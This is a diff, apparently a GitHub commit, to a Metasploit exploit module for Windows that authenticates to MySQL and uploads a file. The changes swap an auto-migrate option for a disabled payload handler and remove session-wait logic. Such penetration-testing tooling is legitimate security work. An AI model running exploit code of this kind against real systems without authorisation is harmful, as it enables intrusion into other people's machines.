@@ -27,12 +27,10 @@ def initialize(info = {})
27
27
] ,
28
28
'DefaultOptions' =>
29
29
{
30
- 'InitialAutoRunScript ' => "migrate -f"
30
+ 'DisablePayloadHandler ' => 'true'
31
31
} ,
32
32
'License' => MSF_LICENSE ,
33
- 'References' =>
34
- [
35
- ] ,
33
+ 'References' => [ ] ,
36
34
'Platform' => 'win' ,
37
35
'Targets' =>
38
36
[
@@ -46,10 +44,6 @@ def initialize(info = {})
46
44
OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' ] ) ,
47
45
OptString . new ( 'PASSWORD' , [ true , 'The password to authenticate with' ] )
48
46
] )
49
- register_advanced_options (
50
- [
51
- OptBool . new ( 'ExitOnSession' , [ true , 'Turn off handler once session is created' , true ] )
52
- ] )
53
47
end
54
48
55
49
def check
@@ -97,10 +91,6 @@ def upload_file(bin, dest)
97
91
end
98
92
99
93
def exploit
100
- if not datastore [ 'ExitOnSession' ] and not job_id
101
- fail_with ( Exploit ::Failure ::Unknown , "Setting ExitOnSession to false requires running as a job (exploit -j)" )
102
- end
103
-
104
94
print_status ( "#{ peer } - Attempting to login as '#{ datastore [ 'USERNAME' ] } :#{ datastore [ 'PASSWORD' ] } '" )
105
95
begin
106
96
m = mysql_login ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
@@ -128,12 +118,6 @@ def exploit
128
118
return
129
119
end
130
120
131
- stime = Time . now . to_f
132
- while ( true )
133
- break if session_created? and datastore [ 'ExitOnSession' ]
134
- break if ( datastore [ 'ListenerTimeout' ] . to_i > 0 and ( stime + datastore [ 'ListenerTimeout' ] . to_i < Time . now . to_f ) )
135
- select ( nil , nil , nil , 1 )
136
- end
137
121
end
138
122
139
123
end
0 commit comments